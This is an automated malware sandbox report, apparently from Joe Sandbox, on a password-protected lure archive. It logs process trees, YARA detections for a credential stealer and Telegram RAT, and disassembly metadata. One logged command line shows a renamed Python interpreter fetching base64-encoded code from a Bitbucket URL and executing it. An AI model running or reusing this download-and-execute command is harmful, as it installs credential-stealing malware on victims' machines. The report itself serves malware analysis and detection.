Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	05:58:55
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\7za.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\dkib1bpc.ejc" "C:\Users\user\Downloads\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.zip"
Imagebase:	0xa30000
File size:	289'792 bytes
MD5 hash:	77E556CDFDC5C592F5C46DB4127C6F4C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:58:55
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: cmd.exePID: 4568, Parent PID: 2668

General

Target ID:	36
Start time:	05:58:56
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Windows Security.bat" "
Imagebase:	0x7ff656f70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: conhost.exePID: 3812, Parent PID: 4568

General

Target ID:	37
Start time:	05:58:56
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	05:58:56
Start date:	15/11/2024
Path:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\QExvbmVOb25l\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://bitbucket.org/lonenone111/adonis/raw/f8bdd52007c8c52942a84315bc61a8ba01481faf/Adonis_All').read().decode('utf-8')))"
Imagebase:	0x110000
File size:	100'120 bytes
MD5 hash:	8AD6C16026FF6C01453D5FA392C14CB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Braodo, Description: Yara detected Braodo, Source: 00000026.00000003.2879475749.00000000044FC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Braodo, Description: Yara detected Braodo, Source: 00000026.00000002.2906876809.0000000004502000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Braodo, Description: Yara detected Braodo, Source: 00000026.00000003.2880071561.0000000004509000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000026.00000002.2909156834.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Braodo, Description: Yara detected Braodo, Source: 00000026.00000002.2909156834.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	05:58:59
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=2212,i,5950465754930284443,18223258772593991472,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Disassembly

Reset < >

Analysis Process: unarchiver.exePID: 2164, Parent PID: 4444COMMON

Execution Graph

Execution Coverage:	21.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0093B1D6 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0093B208

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: ea020c26309f079d5662d0ba69f982f0daae5bb51c87a2bb7b4f28a73dc18912
Instruction ID: 561d39f40456af6f18f2a9ab1f9dd7a02c9b0e3114832c180721197e45f92f66
Opcode Fuzzy Hash: ea020c26309f079d5662d0ba69f982f0daae5bb51c87a2bb7b4f28a73dc18912
Instruction Fuzzy Hash: 2401F4709042409FDB10CF15D98576AFBE4EF15324F08C5AADE498F256D379E404CFA2

Function 00EC0C99 Relevance: 5.1, Strings: 4, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

``j, xrefs: 00EC0D62
``j, xrefs: 00EC0D37
Pbj, xrefs: 00EC0CC8
[MW, xrefs: 00EC0D43, 00EC0D48

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID: Pbj$[MW$``j$``j
API String ID: 0-4134039423
Opcode ID: 060ba4ddeaa93363a7066c3fb5b11dc1a11c6ef6f82737b448594caf78bc1ad0
Instruction ID: 88f953668ade8397eb5762693a0a9d274fd453ab5ab4c208b1bcc059508e366a
Opcode Fuzzy Hash: 060ba4ddeaa93363a7066c3fb5b11dc1a11c6ef6f82737b448594caf78bc1ad0
Instruction Fuzzy Hash: 01212770B002108FCB55EB3589557AE7BD65FC5208B55482CD886EF346EF36ED038792

Function 00EC0CA8 Relevance: 5.1, Strings: 4, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

``j, xrefs: 00EC0D62
``j, xrefs: 00EC0D37
Pbj, xrefs: 00EC0CC8
[MW, xrefs: 00EC0D43, 00EC0D48

Memory Dump Source

Source File: 00000006.00000002.2898486119.0000000000EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_unarchiver.jbxd

Similarity

API ID:
String ID: Pbj$[MW$``j$``j
API String ID: 0-4134039423
Opcode ID: 2a7b2e5da4e84eff01155251abaaf03f304e295331f829286b87af6b2cdb688c
Instruction ID: d5c8136a5e3798977e9755256b269bff2ba298686f3e7056a048f9b5847fad4c
Opcode Fuzzy Hash: 2a7b2e5da4e84eff01155251abaaf03f304e295331f829286b87af6b2cdb688c
Instruction Fuzzy Hash: 6D21D670B006008FCB14EB35CA5076EBBE65FC5218B55882CD486DB746DF76E9028792

Function 0093B246 Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0093B2F3

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8e1995ee73f3b6fa519264cf2405a3e6f74ee077e0d22b28db060230ea3ec2df
Instruction ID: 1d3c2cfe8981f8d8ccd656b518508da0858d907f1fe6312a1818a6a92679730c
Opcode Fuzzy Hash: 8e1995ee73f3b6fa519264cf2405a3e6f74ee077e0d22b28db060230ea3ec2df
Instruction Fuzzy Hash: 76318171504344AFEB228B65DC45FA6BFBCEF06314F0485AEE985CB162D334A909DBB1

Function 0093AD04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0093ADA7

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fe2bc419169bbd97b226b8292ca847c2a7e7235fac4fe20e26497169722e8bbd
Instruction ID: 8b80478b27fdc04153af13b9d3d2a13adf82f009520879362e7c84ffbebdaed0
Opcode Fuzzy Hash: fe2bc419169bbd97b226b8292ca847c2a7e7235fac4fe20e26497169722e8bbd
Instruction Fuzzy Hash: 9D31A171504344AFEB228B65DC45FA7BFACEF06214F04889EF985CB552D234A809DBA1

Function 0093AB76 Relevance: 1.6, APIs: 1, Instructions: 92
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E24,?,?), ref: 0093AC36

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: a3839454f7b8056133d637b7211180b57720614afa0ccc68c5f9ff4bc62fbc1a
Instruction ID: 3ba7228f3f9ebdcea10fc87f451313890c2e67ab4fc04c1c1f4ee902ab980b85
Opcode Fuzzy Hash: a3839454f7b8056133d637b7211180b57720614afa0ccc68c5f9ff4bc62fbc1a
Instruction Fuzzy Hash: AA316C7150E3C05FD3038B758C65A65BFB4AF47610F1A84CBD8C4CF1A3D229A919CBA2

Function 0093A5DC Relevance: 1.6, APIs: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0093A67D

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: aa8191fe074a7303a54e59754c839b8aed60e700f2a3888cd2a6824071a08cbd
Instruction ID: 5b5055aad4f898763c0b36f8556b7b2599cc67bdc9e0a1abc67f9559c2c52c54
Opcode Fuzzy Hash: aa8191fe074a7303a54e59754c839b8aed60e700f2a3888cd2a6824071a08cbd
Instruction Fuzzy Hash: 9F317EB1505340AFE721CF25CD45F66BBE8EF05324F08849EE9858B252D375E809CB72

Function 0093A120 Relevance: 1.6, APIs: 1, Instructions: 83
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,00000E24,?,?), ref: 0093A1C2

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 8b92974ac106295e59b3a0b0a1c3f67215a607f6757e07b6c17ff917de806f87
Instruction ID: 07f68158af9597e89d852ab5eae8a30ca22c93aa28622b3f70e656ebd5f7257f
Opcode Fuzzy Hash: 8b92974ac106295e59b3a0b0a1c3f67215a607f6757e07b6c17ff917de806f87
Instruction Fuzzy Hash: E0219F7150D3C06FD3128B258C51BA2BFB4EF47610F0985CBE8849F593D239A91AD7A2

Function 0093AD2A Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0093ADA7

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 92fefe31f39f6b2c34244f2efb303f22045b1bfb2699da60bf80eac267d13480
Instruction ID: 7e351abe330578195c7453d4261553d3ed8a5051d60e1117908b7e560ccdef05
Opcode Fuzzy Hash: 92fefe31f39f6b2c34244f2efb303f22045b1bfb2699da60bf80eac267d13480
Instruction Fuzzy Hash: 1621B071500204AFEB219F65DC85FABFBECEF04324F04886AEA85CB555D738A444CBA2

Function 0093A370 Relevance: 1.6, APIs: 1, Instructions: 80
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(?,00000E24,C0189446,00000000,00000000,00000000,00000000), ref: 0093A40C

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 56a4598d529911845c2a186255c537fc1a475ccbfc9f6ac6f197e65cd8dbcabf
Instruction ID: 4f83b524f8c66d3e318855b0e6f024fc2232221b3f008f968e93a70dcc4c07a2
Opcode Fuzzy Hash: 56a4598d529911845c2a186255c537fc1a475ccbfc9f6ac6f197e65cd8dbcabf
Instruction Fuzzy Hash: E8218B72504740AFD721CF15CC84FA2BBFCEF05710F08849AE985CB2A2D364E908CBA2

Function 0093B276 Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E24), ref: 0093B2F3

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cb35ced905082c376ce14b8fad1f3686656bf174292ea8f1fa7282b40d4435c8
Instruction ID: c5b61d4bbdf4438a5034b676d904a8dedee5f029cd52f529fbf8db8e041e3271
Opcode Fuzzy Hash: cb35ced905082c376ce14b8fad1f3686656bf174292ea8f1fa7282b40d4435c8
Instruction Fuzzy Hash: 4921BD72500204AFEB219F65DC45FABBBECEF04324F04896AEA45CB655D338A5088BA1

Function 0093A850 Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E24,C0189446,00000000,00000000,00000000,00000000), ref: 0093A8DE

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 56e4df5cdfeda737f740c76936ce1d9a3a47b52aa74e742f6dd2f7899772993a
Instruction ID: 6f5056e7f50ff8528974dcd5e59ff288a3b3df50bd1f0b64e1ba6b5574c4f1c5
Opcode Fuzzy Hash: 56e4df5cdfeda737f740c76936ce1d9a3a47b52aa74e742f6dd2f7899772993a
Instruction Fuzzy Hash: 6321C4714083806FE7228B24DC44F62BFB8EF46714F0984DAE984DB152C234A909CBB2

Function 0093A933 Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,00000E24,C0189446,00000000,00000000,00000000,00000000), ref: 0093A9C1

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: c8405e0f0dc88f027a2d512bf35ae700213a7179ec4a5d5641210502fb33f10e
Instruction ID: e1075865f61f85d49334ce7281ce81436fc4e4c61e9fc1b7589b0ecf51273ab6
Opcode Fuzzy Hash: c8405e0f0dc88f027a2d512bf35ae700213a7179ec4a5d5641210502fb33f10e
Instruction Fuzzy Hash: F021B071409380AFDB22CF25CC45F96BFB8EF06314F08859AE9849F152C375A408CBB2

Function 0093A5FE Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0093A67D

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c347a7999a08af1a474ba538b5f602ee441edba3e80ec8213a38b161640a4e01
Instruction ID: e14c9b7abb39dfc5bb9447b65a88d1383f67f30678e4d96bb182087e863302c6
Opcode Fuzzy Hash: c347a7999a08af1a474ba538b5f602ee441edba3e80ec8213a38b161640a4e01
Instruction Fuzzy Hash: 4F219071604600AFEB21CF25CD86F66FBE8EF08314F08886DE9858B651D375E804CF62

Function 0093A78F Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E24,C0189446,00000000,00000000,00000000,00000000), ref: 0093A815

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 6f90f358c2708873330df9cc0ce71fe843f0edc082d90fce0b02f9dea90273f0
Instruction ID: 5b309791ca845c3ece96d013f963f38cc879e45c1691140e70e3ef29a79c0ce6
Opcode Fuzzy Hash: 6f90f358c2708873330df9cc0ce71fe843f0edc082d90fce0b02f9dea90273f0
Instruction Fuzzy Hash: 8F21D8B54093806FE7128B21DC45FA2BFBCDF46314F0880DAE9848B153D278A909D772

Function 0093AA0B Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0093AA8B

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: fffc8be719b937ed61224e46ef143d2649960d3fb55fff916d0867d456c31f98
Instruction ID: 66bfb30650d8235a35e616636622664f6e4e7e78f3ca3e0021cbd56ce7d92852
Opcode Fuzzy Hash: fffc8be719b937ed61224e46ef143d2649960d3fb55fff916d0867d456c31f98
Instruction Fuzzy Hash: CD21B0765083C05FDB12CB29DD95B92BFE8AF06314F0D84EAE884CB153D225E909CB62

Function 0093A392 Relevance: 1.6, APIs: 1, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E24,C0189446,00000000,00000000,00000000,00000000), ref: 0093A40C

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 0c7cf0cf6a291c3524551a460ac3f6987d82c7e2e68936f61ccfece3928b471c
Instruction ID: 4b75526374e16ff298fa532cb06c1a7135a83d44e6c264e26d23da733245e0f5
Opcode Fuzzy Hash: 0c7cf0cf6a291c3524551a460ac3f6987d82c7e2e68936f61ccfece3928b471c
Instruction Fuzzy Hash: 23218E75600604AFE720CF25CC89F66F7ECEF04710F08846AE985CB261D374E905CAB2

Function 0093A962 Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E24,C0189446,00000000,00000000,00000000,00000000), ref: 0093A9C1

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 185c49b84a954388b1cd5a2600937e8a305a253a9ce9bfdec3017684a6c48d7c
Instruction ID: b5e559f554e85d900bad08963feb11cd0d7a57c6b114a7b51ff3d249d93ad6d0
Opcode Fuzzy Hash: 185c49b84a954388b1cd5a2600937e8a305a253a9ce9bfdec3017684a6c48d7c
Instruction Fuzzy Hash: 0A110471500600AFEB21CF25CD85F66FBE8EF04324F04845AEA859B255C338A444CFB2

Function 0093A882 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000E24,C0189446,00000000,00000000,00000000,00000000), ref: 0093A8DE

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 856c927f8aec44b56e84572bb02423285e0eb454d7a62b87b5b5888a902c01a4
Instruction ID: 17ce4e251bfd434da054f1d972c9c5c84a17bb074c68036ffa37dad8215293a4
Opcode Fuzzy Hash: 856c927f8aec44b56e84572bb02423285e0eb454d7a62b87b5b5888a902c01a4
Instruction Fuzzy Hash: 90110171500200AFEB20CF24DC85F66FBE8EF04324F04C86AEA899B245C338A404CBB2

Function 0093A2AE Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0093A30C

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 3673d9e6c9a9bfedf0e04ba83ef876c973942c1971362271aad26ca87631b2f5
Instruction ID: 70d56c2ad0b18310178a519843d78cd9f60d0160691ff5da955e44285429485b
Opcode Fuzzy Hash: 3673d9e6c9a9bfedf0e04ba83ef876c973942c1971362271aad26ca87631b2f5
Instruction Fuzzy Hash: 931191754093C09FDB228B25DC95A52BFB4DF17320F0A80DBE9848F163D265A809CB62

Function 0093AF8B Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0093AFE4

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: b04fec88eca4837c4dd9352b143755bfe3e015d44d779a6014d13b68a74ba91a
Instruction ID: 2674fa91aa41755e048d5bfe2f60878a589dafcc1e154c8b949a89f976ed846b
Opcode Fuzzy Hash: b04fec88eca4837c4dd9352b143755bfe3e015d44d779a6014d13b68a74ba91a
Instruction Fuzzy Hash: 0011A3755093C09FD7128B25DC85B52FFF4EF06220F0984DAED858B262D275A808CB61

Function 0093B1B4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0093B208

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 9e26645831daabe1ea59dc64ff694bd9220a844bef0660351bc6d26fe2042303
Instruction ID: c2deb0dc8844c478615ea20c5bb5636fcc571b38896070a4c698f53abb75e257
Opcode Fuzzy Hash: 9e26645831daabe1ea59dc64ff694bd9220a844bef0660351bc6d26fe2042303
Instruction Fuzzy Hash: 7511C2714093C09FDB12CF15DC84B56FFB4DF16220F0884EAED888F252D275A908CB62

Function 0093A7C2 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E24,C0189446,00000000,00000000,00000000,00000000), ref: 0093A815

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 16c6ed13e2eb3ee87496e82ab4000b57dbeef5a3277d39efdda829f8cc55d229
Instruction ID: 2ca508622204d43496ba06fdb9976db37ced3ff4974dbd3a393d230631c2b240
Opcode Fuzzy Hash: 16c6ed13e2eb3ee87496e82ab4000b57dbeef5a3277d39efdda829f8cc55d229
Instruction Fuzzy Hash: 8A01D271504640AFE720CB15DD86FA6FBECDF04724F18C0AAEE458B255D378A905CEB6

Function 0093AA46 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0093AA8B

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: f746be05e7959c63b092fc244f7f4b7f157aaabc8a4f136875bcc81561bc3817
Instruction ID: dfcec59fd01d8f7f8812088ab8f1170aad29810fa8d0adb9722f9d4886c46731
Opcode Fuzzy Hash: f746be05e7959c63b092fc244f7f4b7f157aaabc8a4f136875bcc81561bc3817
Instruction Fuzzy Hash: 6C1130766042409FEB10CF25D985756BBD8EF05320F08C4AAED45CB651E279E904CE62

Function 0093A172 Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E24,?,?), ref: 0093A1C2

Memory Dump Source

Source File: 00000006.00000002.2894217286.000000000093A000.00000040.00000800.00020000.00000000.sdmp, Offset: 0093A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_93a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 8014d5f7ca878c45310e989351e87be2a06afec04a14cbb4e044179a7261014c
Instruction ID: 7e18c305d013b4648106776595868dffab8faecab8433ea4c642dd01cda9c583
Opcode Fuzzy Hash: 8014d5f7ca878c45310e989351e87be2a06afec04a14cbb4e044179a7261014c
Instruction Fuzzy Hash: F0017171A00200ABD710DF26DD86B36FBE8EB88B20F14855AED089B641D735F915CBE6

Function 0093ABE6 Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

